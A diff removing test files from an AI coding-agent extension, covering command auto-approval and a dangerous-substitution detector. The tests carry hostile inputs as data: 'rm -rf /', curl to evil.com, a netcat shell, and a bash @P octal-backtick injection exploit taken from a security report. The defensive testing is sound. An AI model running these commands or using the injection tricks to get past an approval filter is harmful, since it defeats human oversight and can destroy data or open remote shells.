-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "browser_action_launch",
-					ts: Date.now(),
-					text: JSON.stringify({ action: "launch", url: "http://example.com" }),
-				},
-			],
-		})
-
-		// Wait for auto-approval to happen
-		await waitFor(() => {
-			expect(vscode.postMessage).toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-	})
-
-	it("auto-approves read-only tools when alwaysAllowReadOnly is enabled", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			autoApprovalEnabled: true,
-			alwaysAllowReadOnly: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Clear any initial calls
-		vi.mocked(vscode.postMessage).mockClear()
-
-		// Add read-only tool request
-		mockPostMessage({
-			autoApprovalEnabled: true,
-			alwaysAllowReadOnly: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "tool",
-					ts: Date.now(),
-					text: JSON.stringify({ tool: "readFile", path: "test.txt" }),
-				},
-			],
-		})
-
-		// Wait for auto-approval to happen
-		await waitFor(() => {
-			expect(vscode.postMessage).toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-	})
-
-	describe("Write Tool Auto-Approval Tests", () => {
-		it("auto-approves write tools when alwaysAllowWrite is enabled and message is a tool request", async () => {
-			renderChatView()
-
-			// First hydrate state with initial task
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowWrite: true,
-				writeDelayMs: 100, // Short delay for testing
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-				],
-			})
-
-			// Clear any initial calls
-			vi.mocked(vscode.postMessage).mockClear()
-
-			// Add write tool request
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowWrite: true,
-				writeDelayMs: 100, // Short delay for testing
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-					{
-						type: "ask",
-						ask: "tool",
-						ts: Date.now(),
-						text: JSON.stringify({ tool: "editedExistingFile", path: "test.txt" }),
-						partial: false,
-					},
-				],
-			})
-
-			// Wait for auto-approval to happen (with delay for write tools)
-			await waitFor(
-				() => {
-					expect(vscode.postMessage).toHaveBeenCalledWith({
-						type: "askResponse",
-						askResponse: "yesButtonClicked",
-					})
-				},
-				{ timeout: 1000 },
-			)
-		})
-
-		it("does not auto-approve write operations when alwaysAllowWrite is enabled but message is not a tool request", () => {
-			renderChatView()
-
-			// First hydrate state with initial task
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowWrite: true,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-				],
-			})
-
-			// Clear any initial calls
-			vi.mocked(vscode.postMessage).mockClear()
-
-			// Add non-tool write request
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowWrite: true,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-					{
-						type: "ask",
-						ask: "write_to_file",
-						ts: Date.now(),
-						text: "Writing to test.txt",
-					},
-				],
-			})
-
-			// Should not auto-approve non-tool write operations
-			expect(vscode.postMessage).not.toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-	})
-
-	it("auto-approves allowed commands when alwaysAllowExecute is enabled", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			autoApprovalEnabled: true,
-			alwaysAllowExecute: true,
-			allowedCommands: ["npm test", "npm run build"],
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Clear any initial calls
-		vi.mocked(vscode.postMessage).mockClear()
-
-		// Add allowed command
-		mockPostMessage({
-			autoApprovalEnabled: true,
-			alwaysAllowExecute: true,
-			allowedCommands: ["npm test", "npm run build"],
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "command",
-					ts: Date.now(),
-					text: "npm test",
-				},
-			],
-		})
-
-		// Wait for auto-approval to happen
-		await waitFor(() => {
-			expect(vscode.postMessage).toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-	})
-
-	it("does not auto-approve disallowed commands even when alwaysAllowExecute is enabled", () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			autoApprovalEnabled: true,
-			alwaysAllowExecute: true,
-			allowedCommands: ["npm test"],
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Clear any initial calls
-		vi.mocked(vscode.postMessage).mockClear()
-
-		// Add disallowed command
-		mockPostMessage({
-			autoApprovalEnabled: true,
-			alwaysAllowExecute: true,
-			allowedCommands: ["npm test"],
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "command",
-					ts: Date.now(),
-					text: "rm -rf /",
-				},
-			],
-		})
-
-		// Should not auto-approve disallowed command
-		expect(vscode.postMessage).not.toHaveBeenCalledWith({
-			type: "askResponse",
-			askResponse: "yesButtonClicked",
-		})
-	})
-
-	describe("Command Chaining Tests", () => {
-		it("auto-approves chained commands when all parts are allowed", async () => {
-			renderChatView()
-
-			// First hydrate state with initial task
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowExecute: true,
-				allowedCommands: ["npm test", "npm run build", "echo"],
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-				],
-			})
-
-			// Clear any initial calls
-			vi.mocked(vscode.postMessage).mockClear()
-
-			// Test various chained commands
-			const chainedCommands = [
-				"npm test && npm run build",
-				"npm test || echo 'test failed'",
-				"npm test; npm run build",
-			]
-
-			for (const command of chainedCommands) {
-				vi.mocked(vscode.postMessage).mockClear()
-
-				mockPostMessage({
-					autoApprovalEnabled: true,
-					alwaysAllowExecute: true,
-					allowedCommands: ["npm test", "npm run build", "echo"],
-					clineMessages: [
-						{
-							type: "say",
-							say: "task",
-							ts: Date.now() - 2000,
-							text: "Initial task",
-						},
-						{
-							type: "ask",
-							ask: "command",
-							ts: Date.now(),
-							text: command,
-						},
-					],
-				})
-
-				// Wait for auto-approval to happen
-				await waitFor(() => {
-					expect(vscode.postMessage).toHaveBeenCalledWith({
-						type: "askResponse",
-						askResponse: "yesButtonClicked",
-					})
-				})
-			}
-		})
-
-		it("does not auto-approve chained commands when any part is disallowed", () => {
-			renderChatView()
-
-			// First hydrate state with initial task
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowExecute: true,
-				allowedCommands: ["npm test", "echo"],
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-				],
-			})
-
-			// Clear any initial calls
-			vi.mocked(vscode.postMessage).mockClear()
-
-			// Add chained command with disallowed part
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowExecute: true,
-				allowedCommands: ["npm test", "echo"],
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-					{
-						type: "ask",
-						ask: "command",
-						ts: Date.now(),
-						text: "npm test && rm -rf /",
-					},
-				],
-			})
-
-			// Should not auto-approve chained command with disallowed part
-			expect(vscode.postMessage).not.toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-
-		it("handles complex PowerShell command chains correctly", async () => {
-			renderChatView()
-
-			// First hydrate state with initial task
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowExecute: true,
-				allowedCommands: ["Get-Process", "Where-Object", "Select-Object"],
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-				],
-			})
-
-			// Clear any initial calls
-			vi.mocked(vscode.postMessage).mockClear()
-
-			// Add PowerShell piped command
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowExecute: true,
-				allowedCommands: ["Get-Process", "Where-Object", "Select-Object"],
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-					{
-						type: "ask",
-						ask: "command",
-						ts: Date.now(),
-						text: "Get-Process | Where-Object {$_.CPU -gt 10} | Select-Object Name, CPU",
-					},
-				],
-			})
-
-			// Wait for auto-approval to happen
-			await waitFor(() => {
-				expect(vscode.postMessage).toHaveBeenCalledWith({
-					type: "askResponse",
-					askResponse: "yesButtonClicked",
-				})
-			})
-		})
-	})
-})
-
 describe("ChatView - Sound Playing Tests", () => {
 	beforeEach(() => vi.clearAllMocks())
 
-	it("does not play sound for auto-approved browser actions", () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			autoApprovalEnabled: true,
-			alwaysAllowBrowser: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Clear any initial calls
-		mockPlayFunction.mockClear()
-
-		// Add browser action that will be auto-approved
-		mockPostMessage({
-			autoApprovalEnabled: true,
-			alwaysAllowBrowser: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "browser_action_launch",
-					ts: Date.now(),
-					text: JSON.stringify({ action: "launch", url: "http://example.com" }),
-				},
-			],
-		})
-
-		// Should not play sound for auto-approved action
-		expect(mockPlayFunction).not.toHaveBeenCalled()
-	})
-
-	it("plays notification sound for non-auto-approved browser actions", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			autoApprovalEnabled: true,
-			alwaysAllowBrowser: false, // Browser actions not auto-approved
-			soundEnabled: true, // Enable sound
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Clear any initial calls
-		mockPlayFunction.mockClear()
-
-		// Add browser action that won't be auto-approved
-		mockPostMessage({
-			autoApprovalEnabled: true,
-			alwaysAllowBrowser: false,
-			soundEnabled: true, // Enable sound
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "browser_action_launch",
-					ts: Date.now(),
-					text: JSON.stringify({ action: "launch", url: "http://example.com" }),
-					partial: false, // Ensure it's not partial
-				},
-			],
-		})
-
-		// Wait for sound to be played
-		await waitFor(() => {
-			expect(mockPlayFunction).toHaveBeenCalled()
-		})
-	})
-
 	it("plays celebration sound for completion results", async () => {
 		renderChatView()
 

+ 0 - 1433
webview-ui/src/utils/__tests__/command-validation.spec.ts

@@ -1,1433 +0,0 @@
-/* eslint-disable no-useless-escape */
-
-// npx vitest src/utils/__tests__/command-validation.spec.ts
-
-import {
-	parseCommand,
-	isAutoApprovedSingleCommand,
-	isAutoDeniedSingleCommand,
-	findLongestPrefixMatch,
-	getCommandDecision,
-	getSingleCommandDecision,
-	CommandValidator,
-	createCommandValidator,
-	containsDangerousSubstitution,
-} from "../command-validation"
-
-describe("Command Validation", () => {
-	describe("parseCommand", () => {
-		it("splits commands by chain operators", () => {
-			expect(parseCommand("npm test && npm run build")).toEqual(["npm test", "npm run build"])
-			expect(parseCommand("npm test || npm run build")).toEqual(["npm test", "npm run build"])
-			expect(parseCommand("npm test; npm run build")).toEqual(["npm test", "npm run build"])
-			expect(parseCommand("npm test | npm run build")).toEqual(["npm test", "npm run build"])
-			expect(parseCommand("npm test & npm run build")).toEqual(["npm test", "npm run build"])
-		})
-
-		it("handles & operator for background execution", () => {
-			expect(parseCommand("ls & whoami")).toEqual(["ls", "whoami"])
-			expect(parseCommand("ls & whoami & pwd")).toEqual(["ls", "whoami", "pwd"])
-			expect(parseCommand("ls && whoami & pwd || echo done")).toEqual(["ls", "whoami", "pwd", "echo done"])
-			expect(parseCommand("ls&whoami")).toEqual(["ls", "whoami"])
-		})
-
-		it("preserves quoted content", () => {
-			expect(parseCommand('npm test "param with | inside"')).toEqual(['npm test "param with | inside"'])
-			expect(parseCommand('echo "hello | world"')).toEqual(['echo "hello | world"'])
-			expect(parseCommand('npm test "param with && inside"')).toEqual(['npm test "param with && inside"'])
-		})
-
-		it("handles subshell patterns", () => {
-			expect(parseCommand("npm test $(echo test)")).toEqual(["npm test", "echo test"])
-			expect(parseCommand("npm test `echo test`")).toEqual(["npm test", "echo test"])
-			expect(parseCommand("diff <(sort f1) <(sort f2)")).toEqual(["diff", "sort f1", "sort f2"])
-		})
-
-		it("handles empty and whitespace input", () => {
-			expect(parseCommand("")).toEqual([])
-			expect(parseCommand("	")).toEqual([])
-			expect(parseCommand("\t")).toEqual([])
-		})
-
-		it("handles PowerShell specific patterns", () => {
-			expect(parseCommand('npm test 2>&1 | Select-String "Error"')).toEqual([
-				"npm test 2>&1",
-				'Select-String "Error"',
-			])
-			expect(
-				parseCommand('npm test | Select-String -NotMatch "node_modules" | Select-String "FAIL|Error"'),
-			).toEqual(["npm test", 'Select-String -NotMatch "node_modules"', 'Select-String "FAIL|Error"'])
-		})
-
-		describe("newline handling", () => {
-			it("splits commands by Unix newlines (\\n)", () => {
-				expect(parseCommand("echo hello\ngit status\nnpm install")).toEqual([
-					"echo hello",
-					"git status",
-					"npm install",
-				])
-			})
-
-			it("splits commands by Windows newlines (\\r\\n)", () => {
-				expect(parseCommand("echo hello\r\ngit status\r\nnpm install")).toEqual([
-					"echo hello",
-					"git status",
-					"npm install",
-				])
-			})
-
-			it("splits commands by old Mac newlines (\\r)", () => {
-				expect(parseCommand("echo hello\rgit status\rnpm install")).toEqual([
-					"echo hello",
-					"git status",
-					"npm install",
-				])
-			})
-
-			it("handles mixed line endings", () => {
-				expect(parseCommand("echo hello\ngit status\r\nnpm install\rls -la")).toEqual([
-					"echo hello",
-					"git status",
-					"npm install",
-					"ls -la",
-				])
-			})
-
-			it("ignores empty lines", () => {
-				expect(parseCommand("echo hello\n\n\ngit status\r\n\r\nnpm install")).toEqual([
-					"echo hello",
-					"git status",
-					"npm install",
-				])
-			})
-
-			it("handles newlines with chain operators", () => {
-				expect(parseCommand('npm install && npm test\ngit add .\ngit commit -m "test"')).toEqual([
-					"npm install",
-					"npm test",
-					"git add .",
-					'git commit -m "test"',
-				])
-			})
-
-			it("splits on actual newlines even within quotes", () => {
-				// Note: Since we split by newlines first, actual newlines in the input
-				// will split the command, even if they appear to be within quotes
-				// Using template literal to create actual newline
-				const commandWithNewlineInQuotes = `echo "Hello
-World"
-git status`
-				// The quotes get stripped because they're no longer properly paired after splitting
-				expect(parseCommand(commandWithNewlineInQuotes)).toEqual(["echo Hello", "World", "git status"])
-			})
-
-			it("handles quoted strings on single line", () => {
-				// When quotes are on the same line, they are preserved
-				expect(parseCommand('echo "Hello World"\ngit status')).toEqual(['echo "Hello World"', "git status"])
-			})
-
-			it("handles complex multi-line commands", () => {
-				const multiLineCommand = `npm install
-npm test && npm run build
-echo "Done" | tee output.log
-git status; git add .
-ls -la || echo "Failed"`
-
-				expect(parseCommand(multiLineCommand)).toEqual([
-					"npm install",
-					"npm test",
-					"npm run build",
-					'echo "Done"',
-					"tee output.log",
-					"git status",
-					"git add .",
-					"ls -la",
-					'echo "Failed"',
-				])
-			})
-
-			it("handles newlines with subshells", () => {
-				expect(parseCommand("echo $(date)\nnpm test\ngit status")).toEqual([
-					"echo",
-					"date",
-					"npm test",
-					"git status",
-				])
-			})
-
-			it("handles newlines with redirections", () => {
-				expect(parseCommand("npm test 2>&1\necho done\nls -la > files.txt")).toEqual([
-					"npm test 2>&1",
-					"echo done",
-					"ls -la > files.txt",
-				])
-			})
-
-			it("handles empty input with newlines", () => {
-				expect(parseCommand("\n\n\n")).toEqual([])
-				expect(parseCommand("\r\n\r\n")).toEqual([])
-				expect(parseCommand("\r\r\r")).toEqual([])
-			})
-
-			it("handles whitespace-only lines", () => {
-				expect(parseCommand("echo hello\n   \t   \ngit status")).toEqual(["echo hello", "git status"])
-			})
-		})
-	})
-
-	describe("isAutoApprovedSingleCommand", () => {
-		const allowedCommands = ["npm test", "npm run", "echo"]
-
-		it("matches commands case-insensitively", () => {
-			expect(isAutoApprovedSingleCommand("NPM TEST", allowedCommands)).toBe(true)
-			expect(isAutoApprovedSingleCommand("npm TEST --coverage", allowedCommands)).toBe(true)
-			expect(isAutoApprovedSingleCommand("ECHO hello", allowedCommands)).toBe(true)
-		})
-
-		it("matches command prefixes", () => {
-			expect(isAutoApprovedSingleCommand("npm test --coverage", allowedCommands)).toBe(true)
-			expect(isAutoApprovedSingleCommand("npm run build", allowedCommands)).toBe(true)
-			expect(isAutoApprovedSingleCommand('echo "hello world"', allowedCommands)).toBe(true)
-		})
-
-		it("rejects non-matching commands", () => {
-			expect(isAutoApprovedSingleCommand("npmtest", allowedCommands)).toBe(false)
-			expect(isAutoApprovedSingleCommand("dangerous", allowedCommands)).toBe(false)
-			expect(isAutoApprovedSingleCommand("rm -rf /", allowedCommands)).toBe(false)
-		})
-
-		it("handles undefined/empty allowed commands", () => {
-			expect(isAutoApprovedSingleCommand("npm test", undefined as any)).toBe(false)
-			expect(isAutoApprovedSingleCommand("npm test", [])).toBe(false)
-		})
-	})
-
-	describe("containsDangerousSubstitution", () => {
-		it("detects parameter expansion with @P operator (prompt string expansion)", () => {
-			// This is the specific vulnerability from the report - @P can execute commands
-			expect(containsDangerousSubstitution('echo "${var1=aa\\140whoami\\140c}${var1@P}"')).toBe(true)
-			expect(containsDangerousSubstitution("echo ${var@P}")).toBe(true)
-			expect(containsDangerousSubstitution("result=${input@P}")).toBe(true)
-			expect(containsDangerousSubstitution("${somevar@P}")).toBe(true)
-		})
-
-		it("detects other dangerous parameter expansion operators", () => {
-			// @Q - Quote removal
-			expect(containsDangerousSubstitution("echo ${var@Q}")).toBe(true)
-			// @E - Escape sequence expansion
-			expect(containsDangerousSubstitution("echo ${var@E}")).toBe(true)
-			// @A - Assignment statement
-			expect(containsDangerousSubstitution("echo ${var@A}")).toBe(true)
-			// @a - Attribute flags
-			expect(containsDangerousSubstitution("echo ${var@a}")).toBe(true)
-		})
-
-		it("detects parameter assignments with octal escape sequences", () => {
-			// Octal \140 is backtick, which can execute commands
-			expect(containsDangerousSubstitution('echo "${var=\\140whoami\\140}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var:=\\140ls\\140}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var+\\140pwd\\140}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var:-\\140date\\140}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var:+\\140echo test\\140}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var:?\\140rm file\\140}"')).toBe(true)
-			// Test various octal patterns
-			expect(containsDangerousSubstitution('echo "${var=\\001\\140\\141}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var=\\777}"')).toBe(true)
-		})
-
-		it("detects parameter assignments with hex escape sequences", () => {
-			// Hex \x60 is backtick
-			expect(containsDangerousSubstitution('echo "${var=\\x60whoami\\x60}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var:=\\x60ls\\x60}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var+\\x60pwd\\x60}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var:-\\x60date\\x60}"')).toBe(true)
-			// Test various hex patterns
-			expect(containsDangerousSubstitution('echo "${var=\\x00\\x60\\x61}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var=\\xFF}"')).toBe(true)
-		})
-
-		it("detects parameter assignments with unicode escape sequences", () => {
-			// Unicode \u0060 is backtick
-			expect(containsDangerousSubstitution('echo "${var=\\u0060whoami\\u0060}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var:=\\u0060ls\\u0060}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var+\\u0060pwd\\u0060}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var:-\\u0060date\\u0060}"')).toBe(true)
-			// Test various unicode patterns
-			expect(containsDangerousSubstitution('echo "${var=\\u0000\\u0060\\u0061}"')).toBe(true)
-			expect(containsDangerousSubstitution('echo "${var=\\uFFFF}"')).toBe(true)
-		})
-
-		it("detects indirect variable references", () => {
-			// ${!var} performs indirect expansion which can be dangerous
-			expect(containsDangerousSubstitution("echo ${!var}")).toBe(true)
-			expect(containsDangerousSubstitution("result=${!indirect}")).toBe(true)
-			expect(containsDangerousSubstitution("${!prefix*}")).toBe(true)
-			expect(containsDangerousSubstitution("${!prefix@}")).toBe(true)
-		})
-
-		it("detects here-strings with command substitution", () => {
-			expect(containsDangerousSubstitution("cat <<<$(whoami)")).toBe(true)
-			expect(containsDangerousSubstitution("read <<<`date`")).toBe(true)
-			expect(containsDangerousSubstitution("grep pattern <<< $(ls)")).toBe(true)
-			expect(containsDangerousSubstitution("sort <<< `pwd`")).toBe(true)
-		})
-
-		it("detects zsh process substitution =() pattern", () => {
-			expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true)
-
-			// Various forms of zsh process substitution
-			expect(containsDangerousSubstitution("cat =(echo test)")).toBe(true)
-			expect(containsDangerousSubstitution("diff =(ls) =(pwd)")).toBe(true)
-			expect(containsDangerousSubstitution("vim =(curl http://evil.com/script)")).toBe(true)
-			expect(containsDangerousSubstitution("=(whoami)")).toBe(true)
-
-			// Process substitution in middle of command
-			expect(containsDangerousSubstitution("echo test =(date) test")).toBe(true)
-
-			// Multiple process substitutions
-			expect(containsDangerousSubstitution("compare =(cmd1) =(cmd2) =(cmd3)")).toBe(true)
-
-			// Process substitution with complex commands
-			expect(containsDangerousSubstitution("cat =(rm -rf /)")).toBe(true)
-			expect(containsDangerousSubstitution("ls =(sudo apt install malware)")).toBe(true)
-		})
-
-		it("detects zsh glob qualifiers with code execution (e:...:)", () => {
-			// Basic glob qualifier with command execution
-			expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true)
-
-			// Various glob patterns with code execution
-			expect(containsDangerousSubstitution("cat ?(e:rm -rf /:)")).toBe(true)
-			expect(containsDangerousSubstitution("echo +(e:sudo reboot:)")).toBe(true)
-			expect(containsDangerousSubstitution("rm @(e:curl evil.com:)")).toBe(true)
-			expect(containsDangerousSubstitution("touch !(e:nc -e /bin/sh:)")).toBe(true)
-
-			// Glob qualifiers in middle of command
-			expect(containsDangerousSubstitution("ls -la *(e:date:) test")).toBe(true)
-
-			// Multiple glob qualifiers
-			expect(containsDangerousSubstitution("cat *(e:whoami:) ?(e:pwd:)")).toBe(true)
-
-			// Glob qualifiers with complex commands
-			expect(containsDangerousSubstitution("ls *(e:open -a Calculator:)")).toBe(true)
-			expect(containsDangerousSubstitution("rm *(e:sudo apt install malware:)")).toBe(true)
-		})
-
-		it("does NOT flag safe parameter expansions", () => {
-			// Regular parameter expansions without dangerous operators
-			expect(containsDangerousSubstitution("echo ${var}")).toBe(false)
-			expect(containsDangerousSubstitution("echo ${var:-default}")).toBe(false)
-			expect(containsDangerousSubstitution("echo ${var:+alternative}")).toBe(false)
-			expect(containsDangerousSubstitution("echo ${#var}")).toBe(false)
-			expect(containsDangerousSubstitution("echo ${var%pattern}")).toBe(false)
-			expect(containsDangerousSubstitution("echo ${var#pattern}")).toBe(false)
-			expect(containsDangerousSubstitution("echo ${var/old/new}")).toBe(false)
-			expect(containsDangerousSubstitution("echo ${var^^}")).toBe(false)
-			expect(containsDangerousSubstitution("echo ${var,,}")).toBe(false)
-			expect(containsDangerousSubstitution("echo ${var:0:5}")).toBe(false)
-
-			// Parameter assignments without escape sequences
-			expect(containsDangerousSubstitution('echo "${var=normal text}"')).toBe(false)
-			expect(containsDangerousSubstitution('echo "${var:-default value}"')).toBe(false)
-			expect(containsDangerousSubstitution('echo "${var:+alternative}"')).toBe(false)
-
-			// Here-strings without command substitution
-			expect(containsDangerousSubstitution("cat <<<plain_text")).toBe(false)
-			expect(containsDangerousSubstitution('read <<<"static string"')).toBe(false)
-			expect(containsDangerousSubstitution("grep <<<$var")).toBe(false) // Plain variable, not command substitution
-
-			// Safe uses of = without process substitution
-			expect(containsDangerousSubstitution("var=value")).toBe(false)
-			expect(containsDangerousSubstitution("test = test")).toBe(false)
-			expect(containsDangerousSubstitution("if [ $a = $b ]; then")).toBe(false)
-			expect(containsDangerousSubstitution("echo test=value")).toBe(false)
-
-			// Safe comparison operators
-			expect(containsDangerousSubstitution("if [ $a == $b ]; then")).toBe(false)
-			expect(containsDangerousSubstitution("test $x != $y")).toBe(false)
-
-			// Safe glob patterns without code execution qualifiers
-			expect(containsDangerousSubstitution("ls *")).toBe(false)
-			expect(containsDangerousSubstitution("rm *.txt")).toBe(false)
-			expect(containsDangerousSubstitution("cat ?(foo|bar)")).toBe(false)
-			expect(containsDangerousSubstitution("echo *(^/)")).toBe(false) // Safe glob qualifier (not e:)
-		})
-
-		it("handles complex combinations of dangerous patterns", () => {
-			// Multiple dangerous patterns in one command
-			expect(containsDangerousSubstitution('echo "${var1=\\140ls\\140}${var1@P}" && ${!indirect}')).toBe(true)
-			// Nested patterns
-			expect(containsDangerousSubstitution('echo "${outer=${inner@P}}"')).toBe(true)
-			// Mixed with safe patterns
-			expect(containsDangerousSubstitution("echo ${safe:-default} ${dangerous@P}")).toBe(true)
-			// Zsh process substitution combined with other patterns
-			expect(containsDangerousSubstitution("cat =(whoami) && echo ${var@P}")).toBe(true)
-			expect(containsDangerousSubstitution("ls =(date) <<<$(pwd)")).toBe(true)
-		})
-
-		it("detects the exact exploit from the security report", () => {
-			// The exact pattern reported in the vulnerability
-			const exploit = 'echo "${var1=aa\\140whoami\\140c}${var1@P}"'
-			expect(containsDangerousSubstitution(exploit)).toBe(true)
-
-			// Variations of the exploit
-			expect(containsDangerousSubstitution('echo "${x=\\140id\\140}${x@P}"')).toBe(true)
-			expect(containsDangerousSubstitution('result="${cmd=\\x60pwd\\x60}${cmd@P}"')).toBe(true)
-
-			// The new zsh process substitution exploit
-			expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true)
-
-			// The zsh glob qualifier exploit
-			expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true)
-		})
-	})
-})
-
-/**
- * Tests for the command-validation module
- *
- * These tests include a reproduction of a bug where the shell-quote library
- * used in parseCommand throws an error when parsing commands that contain
- * the Bash $RANDOM variable in array indexing expressions.
- *
- * Error: "Bad substitution: levels[$RANDOM"
- *
- * The issue occurs specifically with complex expressions like:
- * ${levels[$RANDOM % ${#levels[@]}]}
- */
-describe("command-validation", () => {
-	describe("parseCommand", () => {
-		it("should correctly parse simple commands", () => {
-			const result = parseCommand("echo hello")
-			expect(result).toEqual(["echo hello"])
-		})
-
-		it("should correctly parse commands with chaining operators", () => {
-			const result = parseCommand("echo hello && echo world")
-			expect(result).toEqual(["echo hello", "echo world"])
-		})
-
-		it("should correctly parse commands with quotes", () => {
-			const result = parseCommand('echo "hello world"')
-			expect(result).toEqual(['echo "hello world"'])
-		})
-
-		it("should correctly parse commands with redirections", () => {
-			const result = parseCommand("echo hello 2>&1")
-			expect(result).toEqual(["echo hello 2>&1"])
-		})
-
-		it("should correctly parse commands with subshells", () => {
-			const result = parseCommand("echo $(date)")
-			expect(result).toEqual(["echo", "date"])
-		})
-
-		it("should not throw an error when parsing commands with simple array indexing", () => {
-			// Simple array indexing works fine
-			const commandWithArrayIndex = "value=${array[$index]}"
-
-			expect(() => {
-				parseCommand(commandWithArrayIndex)
-			}).not.toThrow()
-		})
-
-		it("should not throw an error when parsing commands with $RANDOM in array index", () => {
-			// This test reproduces the specific bug reported in the error
-			const commandWithRandom = "level=${levels[$RANDOM % ${#levels[@]}]}"
-
-			expect(() => {
-				parseCommand(commandWithRandom)
-			}).not.toThrow()
-		})
-
-		it("should not throw an error with simple $RANDOM variable", () => {
-			// Simple $RANDOM usage works fine
-			const commandWithRandom = "echo $RANDOM"
-
-			expect(() => {
-				parseCommand(commandWithRandom)
-			}).not.toThrow()
-		})
-
-		it("should not throw an error with simple array indexing using $RANDOM", () => {
-			// Simple array indexing with $RANDOM works fine
-			const commandWithRandomIndex = "echo ${array[$RANDOM]}"
-
-			expect(() => {
-				parseCommand(commandWithRandomIndex)
-			}).not.toThrow()
-		})
-
-		it("should not throw an error with complex array indexing using $RANDOM and arithmetic", () => {
-			// This test reproduces the exact expression from the original error
-			const commandWithComplexRandom = "echo ${levels[$RANDOM % ${#levels[@]}]}"
-
-			expect(() => {
-				parseCommand(commandWithComplexRandom)
-			}).not.toThrow("Bad substitution")
-		})
-
-		it("should not throw an error when parsing the full log generator command", () => {
-			// This is the exact command from the original error message
-			const logGeneratorCommand = `while true; do \\
-  levels=(INFO WARN ERROR DEBUG); \\
-  msgs=("User logged in" "Connection timeout" "Processing request" "Cache miss" "Database query"); \\
-  level=\${levels[$RANDOM % \${#levels[@]}]}; \\
-  msg=\${msgs[$RANDOM % \${#msgs[@]}]}; \\
-  echo "\$(date '+%Y-%m-%d %H:%M:%S') [$level] $msg"; \\
